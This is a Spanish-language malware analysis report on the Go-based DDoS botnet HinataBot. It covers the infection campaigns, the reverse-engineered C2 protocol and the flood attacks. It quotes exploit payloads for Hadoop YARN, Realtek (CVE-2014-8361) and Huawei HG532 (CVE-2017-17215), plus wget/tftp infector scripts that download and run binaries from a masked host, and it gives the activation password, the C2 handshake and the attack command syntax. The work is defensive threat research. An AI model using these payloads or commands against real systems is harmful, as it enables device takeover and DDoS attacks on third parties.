Descubriendo HinataBot: Análisis en profundidad de una amenaza basada en Go
Edición y contribuciones adicionales de Tricia Howard
Resumen ejecutivo
Los investigadores de Akamai del equipo de respuesta a incidentes e inteligencia en seguridad (SIRT) han descubierto una nueva botnet centrada en ataques DDoS y basada en Go. Este malware parece que ha sido denominado "Hinata" por su autor en honor a un personaje de la popular serie de anime Naruto. Nosotros lo llamamos "HinataBot".
Se ha observado una distribución de HinataBot durante los tres primeros meses de 2023 y está siendo actualizado activamente por los autores u operadores.
La muestra se descubrió en señuelos HTTP y SSH, que aprovechan vulnerabilidades antiguas y credenciales débiles.
Los intentos de infección observados incluyen la explotación del servicio SOAP miniigd en dispositivos Realtek SDK (CVE-2014-8361), enrutadores Huawei HG532 (CVE-2017-17215) y servidores Hadoop YARN (CVE N/A) expuestos.
Gracias a una combinación de ingeniería inversa del malware e imitación del servidor de mando y control (C2), pudimos realizar un análisis profundo de cómo funciona el malware y lo que distingue a su tráfico de ataque resultante.
Introducción a HinataBot
HinataBot es un malware basado en Go que los investigadores de seguridad del equipo SIRT de Akamai han encontrado recientemente en señuelos HTTP y SSH. Esta muestra en particular destacó por su gran tamaño y la falta de identificación específica en torno a sus nuevos hashes. Parece ser que el autor del malware ha dado a los binarios del malware el nombre de un personaje de la popular serie de anime Naruto, con estructuras de nombre de archivo como "Hinata-<OS>-<Architecture>".
HinataBot es la más reciente incorporación a la creciente lista de amenazas emergentes basadas en Go, que incluye botnets como GoBruteForcer y el recién descubierto (por el equipo SIRT) kmsdbot. Los atacantes han utilizado GO para aprovechar las ventajas de su alto rendimiento, facilidad de multihilo y compatibilidad con varias arquitecturas y compilaciones para varios sistemas operativos, pero probablemente también porque añade complejidad cuando se compila, lo cual dificulta la ingeniería inversa de los binarios resultantes.
HinataBot emplea varios métodos de comunicación, que incluyen tanto la comunicación saliente como la escucha para las conexiones entrantes, y se ha observado con ataques de inundación distribuidos de denegación de servicio (DDoS) que utilizan protocolos como HTTP, UDP, TCP e ICMP para enviar tráfico. Sin embargo, en la última versión, HinataBot ha reducido sus métodos de ataque únicamente a ataques HTTP y UDP.
Campañas de infección de HinataBot
Los métodos de distribución observados eran una mezcla de scripts de infección y cargas útiles completas que utilizan dos vulnerabilidades principales: una RCE Hadoop YARN (Figura 1) y la explotación de una vulnerabilidad en el servicio SOAP miniigd dentro de dispositivos Realtek SDK (CVE-2014-8361: Figura 2).
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
Fig. 1: Distribución de la carga útil a través de una RCE Hadoop YARN
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Fig. 2: Distribución de la carga útil a través de CVE-2014-8361
Estos ataques se produjeron en diferentes días entre el 11 de enero y el 16 de enero de 2023. Los atacantes utilizaron varias versiones de scripts infectores, los cuales se actualizaban con el tiempo. Entre estos scripts, los dos principales se llamaban 'wget.sh' (Figura 3) y 'tftp.sh' (Figura 4), que reflejan los respectivos protocolos utilizados para recuperar la carga útil apropiada.
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Fig. 3: Script infector wget.sh que utiliza wget para descargar la carga útil
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Fig. 4: Script infector tftp.sh que utiliza ftp para descargar la carga útil
En los señuelos SSH, los atacantes empleaban tácticas de fuerza bruta, intentando combinaciones comunes de nombre de usuario y contraseña. Una vez iniciada la sesión correctamente, los atacantes abrieron un shell y procedieron a ejecutar las acciones de la Figura 5.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
Fig. 5: El script de shell intenta descargar la carga útil en los señuelos de Cowrie
El malware HinataBot se distribuyó como binarios de Go, diseñados para ejecutarse en diversas arquitecturas y sistemas operativos. Esta tendencia de los autores de malware a desarrollar cargas útiles especializadas para varias plataformas se ha vuelto cada vez más común en los últimos años (Figura 6), probablemente debido a la facilidad de compilación cruzada, así como a los dispositivos del Internet de las cosas (IoT) y de pequeñas oficinas u oficinas en casa que ejecutan arquitecturas de CPU menos comunes, que ha demostrado ser un escenario repleto de objetivos.
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
Fig. 6: Cargas útiles en distintas combinaciones de sistema operativo y arquitectura
Mediante el uso de la IP de distribución como pivote, hemos logrado identificar dos IP adicionales que se habían utilizado anteriormente para la distribución. En cada caso, la IP de pivote se utilizó como proxy. Un análisis posterior reveló que, antes de desarrollar su propio malware basado en Go, los atacantes habían intentado distribuir una variante de Mirai genérica, que estaba empaquetada en UPX y utilizaba un nombre menos identificable (Figura 7).
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
Fig. 7: Varios scripts infectores y binario de Mirai genérico
Los primeros intentos de distribución de malware se produjeron en diciembre de 2022 y utilizaron scripts infectores muy diferentes (Figura 8). Estos scripts anteriores pueden haber sido una prueba inicial realizada por los autores para medir la eficacia de sus tácticas y herramientas.
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
Fig. 8: Scripts de infección heredados
Además, pudimos identificar otra vulnerabilidad que aprovecharon los atacantes para distribuir versiones anteriores de sus scripts infectores (Figura 9). Esta vulnerabilidad, CVE-2017-17215, afecta a los enrutadores Huawei HG532 y permite la ejecución remota de código arbitrario.
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Fig. 9: Uso de CVE-2017-17215 para infectar enrutadores Huawei HG532
Los atacantes que hay detrás de HinataBot han estado activos desde al menos diciembre de 2022, pero solo han comenzado a desarrollar su propio malware a mediados de enero de 2023. Desde entonces, hemos observado numerosas iteraciones del malware y diversos pivotes en las técnicas de infección. La IP principal utilizada para la distribución y las conexiones de mando y control (C2) tiene un historial de participación en la distribución de spam y malware. En este momento no está del todo claro si la IP es maliciosa por diseño, o si simplemente se ha visto comprometida y se está utilizando.
Influencias de Mirai
Como se ha indicado anteriormente, los agentes que hay detrás de HinataBot distribuyeron originalmente los binarios de Mirai, una conocida familia de malware que dirigió sus ataques inicialmente a dispositivos IoT, era de código abierto y ha seguido siendo adoptada por diversos agentes y grupos (y, como resultado de todo ello, ha evolucionado). Mirai ahora cuenta con múltiples variantes y botnets creados por múltiples autores, agentes y grupos.
Al examinar los registros históricos de DNS, podemos ver que ya en febrero de 2023, la IP asociada más recientemente a HinataBot estaba resolviendo el dominio "hihi.mirailovers.pw" (Figura 10).
Ha habido numerosos intentos públicos de reescribir Mirai en Go, y HinataBot parece seguir una estructura similar a algunos de estos intentos. Por ejemplo, la forma en que HinataBot configura la comunicación en su método principal y la forma en que analiza los comandos y comienza los ataques en sus métodos de ataque se asemejan a la estructura utilizada en otras variantes de Mirai basadas en Go.
Cabe destacar que HinataBot todavía está en su fase de desarrollo y en evolución. Por lo tanto, es difícil predecir cómo cambiará el malware y cómo será en el futuro.
El primer vistazo
Al principio intentamos acceder a la dirección IP de distribución más reciente, pero aunque se podía hacer ping en ella, no pudimos descargar la muestra directamente desde el servidor. Esto puede indicar que los atacantes han implementado un mecanismo de protección o que eliminan las muestras después de la distribución, lo que hace más difícil obtenerlas fuera de un ataque directo. En campañas más antiguas de los mismos agentes, observamos patrones de nombres aparentemente aleatorios (véase la Figura 9).
Afortunadamente, pudimos hacernos con una muestra a través de nuestras herramientas de análisis automatizadas que habían almacenado una en el momento de la infección inicial. Descargamos las versiones MIPS32 y x86-64 de nuestro repositorio de malware e iniciamos el análisis estático. Ambos binarios estaban escritos en Go, pero era relativamente fácil trabajar con ellos, ya que no estaban corruptos, estaban desempaquetados y tenían los símbolos de depuración ("unstripped") (Figura 11). Las versiones de los binarios en los días previos a esta publicación ya no incluían los símbolos de depuración ("stripped"), lo que hará que la ingeniería inversa sea más difícil en el futuro.
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
Fig. 11: Ejecución del comando 'file' en Hinata
Al principio, comenzamos a analizar una muestra de malware de HinataBot de dos meses de antigüedad (Figura 12), pero después nos dimos cuenta de que había una muestra más reciente (Figura 13) que se había publicado el mismo día en que descubrimos el malware en nuestros registros. Posteriormente, iniciamos el análisis de la muestra más reciente.
La principal distinción entre las dos versiones es que la muestra más reciente se ha optimizado y ofrece una funcionalidad más modular. Además, la muestra más reciente incluye algunas medidas de seguridad básicas que no estaban presentes en la versión original. Profundizaremos en estas diferencias con más detalle en una sección posterior de esta publicación.
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
Fig. 12: Muestra de HinataBot de enero de 2023
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
Fig. 13: Muestra de HinataBot de marzo de 2023
Durante nuestro análisis, destacaron rápidamente varias funciones dignas de mención. Tres funciones de ataque diferentes llamaron nuestra atención de forma inmediata: sym.main.startAttack, sym.main.http_floody sym.main.udp_flood (figura 14). El nombre de estas funciones sugiere que el malware estaba destinado a lanzar ataques DDoS.
Un análisis más detallado del malware reveló referencias a las comunicaciones de C2, lo que proporcionó indicios adicionales de que HinataBot formaba parte de una campaña de creación de botnets orientada a DDoS (Figura 15).
Asignación de comunicaciones de C2
Para entender cómo establece el malware HinataBot una conexión a su C2, retrocedimos desde la cadena "Connection to CNC is OK!" y comenzamos a buscar referencias cruzadas a la cadena (Figura 16). Este proceso nos permitió trazar el mecanismo mediante el cual el malware se comunica con su C2.
Nuestra investigación finalmente nos condujo hasta el servidor C2 de HinataBot que escucha en TCP/1420 en la misma IP desde la que se distribuyó el malware durante la campaña de infección (Figura 17).
Otro descubrimiento que realizamos al examinar el código de ensamblado fueron las referencias a una API utilizada para las conexiones ("api_CONNECTION_ATTACK"), así como un gran número de posibles comandos para emitir de vuelta al dispositivo infectado que estábamos ansiosos de probar (Figura 18).
Llegado este punto, estábamos seguros de que la muestra que teníamos se conectaría de nuevo al servidor de distribución/C2 para notificar a C2 que el bot estaba activo y en ejecución y a la espera de comandos, pero el servidor C2 estaba desconectado.
Una observación interesante es que HinataBot también abre un puerto de escucha propio en TCP/61420 (Figura 19). Como el objetivo principal de esta investigación era comprender mejor el tráfico de ataque que puede generar esta botnet, no dedicamos mucho tiempo a profundizar en esta capacidad, ya que parecía estar fuera de alcance.
Sin embargo, hemos observado que las diferencias de tiempo de este listener dependen de una conectividad correcta con C2. En los casos en los que se establezca contacto con C2 correctamente, este listener se desactivará después de tres minutos. En los casos en los que no se pueda llegar a C2, este puerto seguirá escuchando sin límite de tiempo aparente. Será necesario realizar investigaciones adicionales en este puerto para comprender plenamente las capacidades que permite a los operadores; por ejemplo, si se trata de algún tipo de funcionalidad punto a punto o, posiblemente, de una capacidad de actualización/control/recuperación. A fecha de este documento, no hemos podido proporcionar una respuesta definitiva.
Comunicación con HinataBot
En la siguiente fase de nuestra investigación, infectamos deliberadamente varias máquinas y creamos un servidor C2 para analizar las interacciones, medidas de seguridad y patrones de tráfico de HinataBot. Trataremos brevemente algunos de los procesos y observaciones realizados durante la ingeniería inversa de HinataBot.
HINATA_START_NICE
Como se ha señalado anteriormente, la muestra más reciente de HinataBot incluía algunas medidas de seguridad básicas que no existían en versiones anteriores. La primera medida de este tipo era un requisito de contraseña. Al ejecutar la muestra, lo primero que se observa es una excepción no detectada. El mensaje de error resultante lo deja bastante claro (Figura 20).
Al examinar más detenidamente el mensaje de error, descubrimos que la muestra requería la transferencia de un argumento adicional durante la ejecución. Si cualquier transferencia en este argumento le llevará más allá de la excepción no detectada, HinataBot saldrá correctamente. A partir de aquí, se hizo evidente que necesitábamos volver al desmontaje para ver lo que HinataBot podría estar buscando en este argumento.
Hemos buscado en la muestra de malware y finalmente hemos identificado la cadena de 17 caracteres (0X005fe3d2) "HINATA_START_NICE" (0X005fe3d8) utilizada en una llamada sym.runtime.memequal (0x005fe3e0) que fallaría y causaría que el malware fluyera a través de una instrucción ret, terminando la ejecución (Figura 21). Utilizamos esta cadena como argumento al ejecutar la muestra, lo que permitió que la ejecución progresara en un código más interesante.
Curiosamente, el personaje de anime Naruto llamado Hinata comienza como un personaje tranquilo y apacible antes de convertirse en un feroz luchador, algo a lo que los autores del malware pueden estar aludiendo al utilizar el argumento "HINATA_START_NICE", antes de que el malware se comunique con su C2 y participe en el lanzamiento de ataques.
Cabe destacar que este requisito de contraseña no estaba presente en las muestras del malware HinataBot anteriores de enero de 2023; por ello, la mayoría de los scripts de infección que encontramos no incluían este argumento. Sin embargo, tras una revisión más detallada después de descubrir este requisito, pudimos rastrear sus nuevos scripts de infección (Figura 22), que transferían el argumento a los binarios en el momento de la infección. Habría sido útil saberlo de antemano.
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
Fig. 22: Nuevo script de infección que utiliza contraseña
Go.123+Strings-456.Are_789-Weird
Nuestro análisis de la muestra de HinataBot reveló un gran número de cadenas de texto sin formato muy largas incrustadas en el binario. Go utiliza un enfoque único para almacenar literales de cadena colocándolos en un bloque contiguo de memoria conocido como "tabla de cadenas" o "grupo interno de cadenas."
Como resultado, al ejecutar el comando strings o los desensambladores en un binario de Go, la salida puede aparecer como una confusa mezcla de caracteres, lo que dificulta la distinción entre las cadenas individuales de la tabla (Figura 23).
Esta técnica difiere de otros lenguajes de programación, que normalmente almacenan cadenas de bytes que terminan en null. Sin estos bytes nulos finales, la herramienta continúa leyendo una cadena detectada hasta que encuentra un byte nulo. Esto hace que un simple análisis de cadenas sea un poco más difícil.
El examen de las referencias cruzadas de segmentos de código en los segmentos de dirección de tabla de cadenas puede ayudar a identificar dónde comienzan las cadenas individuales de la tabla más grande. Normalmente, también se puede identificar la longitud que se carga en un registro antes o después de que se cargue la cadena o como parte de una llamada a función que utilizará el segmento de cadena al que se hace referencia (Figura 24). Lleva un tiempo acostumbrarse, pero es bastante sencillo una vez que se siente cómodo con la convención.
Comunícate conmigo, Goose
Una vez que teníamos un modo de satisfacer el requisito de contraseña, nuestra atención se centró en establecer una conexión con el servidor C2. De forma similar a como descubrimos la contraseña, pudimos identificar los componentes necesarios del protocolo de negociación necesarios para establecer una conexión con el servidor C2, que estaba fuera de servicio en el momento de esta investigación o la redacción de este documento.
Si utilizamos netcat para escuchar en el puerto 1420, reparamos el binario de modo que usara una IP que controlamos como el servidor C2. Una vez realizada la conexión, enviamos los activadores adecuados al dispositivo infectado, preparándolo para la participación en el ataque (Figura 25).
La negociación consistía en una conexión inicial, seguida del bot que enviaba un mensaje "API_CONNECTION_BOT [os]/[architecture] [hostname]". A continuación, el bot espera un mensaje API_CONNECTION_SIGNAL_OK de vuelta desde el servidor C2, que prepararía el bot para escuchar los comandos entrantes (Figura 26). Una vez resuelta la negociación, enviamos la señal API_CONNECTION_ATTACK: para iniciar los ataques.
Creamos un servidor C2 muy sencillo para automatizar el mantenimiento de esta conexión y permitirnos modificar y enviar un comando almacenado en un archivo de texto sin necesidad de modificar el código, lo que permitió realizar pruebas muy rápidas y sencillas (Figura 27). Esto nos ahorró bastante tiempo en el transcurso de esta investigación.
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
Fig. 27: Volvimos a crear C2 para mantener la conexión con el nodo infectado
Aunque estas interacciones con HinataBot fueron lo suficientemente interesantes, nuestro objetivo final fue siempre observar el malware en acción y ver cómo era su tráfico de ataque durante la conexión cuando se dirigía a los sistemas objetivo. Con las comunicaciones de C2 básicas establecidas, a continuación comenzamos a profundizar en el comando de ataque, el procesamiento de la lógica y el trazado de las estructuras de los comandos de ataque.
HinataBot deja de ser amigable
La versión más reciente de este malware tiene dos métodos de ataque principales: HTTP y UDP. La versión anterior contenía estos dos métodos, así como métodos de ataque que aprovechan las inundaciones ICMP y TCP. No está claro por qué se han eliminado estos métodos.
Para analizar más de cerca el tráfico real de los ataques, utilizamos nuestro servidor C2 provisional para mantener la conexión mientras el bot nos enviaba latidos. De esta forma, pudimos centrarnos únicamente en los comandos de ataque sin tener que preocuparnos por mantener una conexión con el dispositivo infectado.
Después de un análisis y pruebas exhaustivos, finalmente pudimos trazar la estructura y los campos necesarios para empezar a lanzar ataques y comenzar a capturar paquetes durante la conexión. El autor del malware aprovecha varias convenciones de Go, como funciones anónimas, goroutines, canales, grupos de trabajadores y grupos de espera. Lo que dificulta la ingeniería inversa. Por último, después de realizar algunas pruebas, pudimos averiguar la estructura de comandos de ataque (Figura 28).
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
Fig. 28: Estructura del comando de ataque
La estructura básica del comando, una vez trazada, es muy sencilla. Los comandos de ataque siempre empiezan por API_CONNECTION_ATTACK: seguido de tres campos obligatorios, ATTACK_TYPE, TARGETy DURATION. Para udp_flood también hay un cuarto campo UDP_OPTIONS de ataque; este campo también es necesario cuando se emite un ataque udp_flood debido a cómo se produce la comprobación de comandos, pero, curiosamente, no necesita ser válido en absoluto.
Tipo de ataque 0: http_flood
El http_flood no parece que utilice parámetros de opciones adicionales como hace el ataque udp_flood . Dado que depende de la bibloteca net.http de Go, la mayor parte del análisis de configuración y opciones para este ataque proviene directamente de la propia biblioteca de Go y se controla a través de la directiva TARGET .
En el comando de ataque de la Figura 29, emitimos un ataque http_flood (tipo 0) dirigido a 127127127127 en TCP/31337 que durará 10 segundos. La ruta, el puerto, los parámetros GET y el protocolo se deducen de esta directiva de destino. Si no se proporciona ningún puerto, el valor predeterminado será TCP/80.
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
Fig. 29: Estructura del comando de ataque para un ataque http_flood
Como se mencionó anteriormente, este binario se basa en la biblioteca net.http de Go para llevar a cabo sus ataques. El bot crea un grupo de 512 trabajadores a través de Goroutines, y cada trabajador crea su propio objeto net.http.Request . En la Figura 30, podemos ver un poco cómo funciona desde dentro de un trabajador individual.
En primer lugar, se crea un nuevo objeto Context y una nueva clase RequestWithContext . Este objeto Context se rellenará con encabezados HTTP que utilizará durante el ataque la clase RequestWithContext clase. Algunos de estos encabezados son estáticos, mientras que otros son aleatorios. En la Figura 30 puede ver las llamadas Rand Seed y también Intn ; estas se utilizan para seleccionar un User-Agent de una lista de 10 agentes de usuario estáticos integrados como parte del código dentro del binario. Hablaremos sobre los encabezados que se deben buscar a continuación mientras analizamos el tráfico procedente del malware durante un ataque http_flood .
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
Fig. 31: 3 solicitudes de ataque http_flood de muestra
Hablemos de algunas observaciones importantes sobre los encabezados HTTP capturados durante los eventos de ataque simulados. Aquí hay varios valores bastante obvios de huella dactilar, tanto en campos estáticos como en aleatorios. Los defensores deberían analizar este tráfico de muestra, pero por miedo a ayudar al autor a mejorar las capacidades de ataque, tenemos nuestras dudas sobre si resaltar exactamente por qué este tráfico es fácil de detectar y bloquear para los defensores. Sin proporcionar demasiada ayuda para el autor del malware, los que podemos decir es que gran parte de la carga útil es bastante estática, en tamaño, orden y valor. Algunos campos son aleatorios: estos campos incluyen los encabezados User-Agent (de una lista de 10 agentes de usuario estáticos), Keep-Alive y Cookies. Los defensores también deberían examinar detenidamente los encabezados Host y Referrer en el tráfico de muestra de la Figura 31. Vale la pena señalar que si el comando de ataque no especifica un puerto de destino en la directiva de destino, se establecerá de forma predeterminada en TCP/80 o TCP/443, y el puerto no se incluirá en ninguno de los encabezados.
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
Fig. 32: Estructura del comando de ataque para un ataque http_flood más configurado
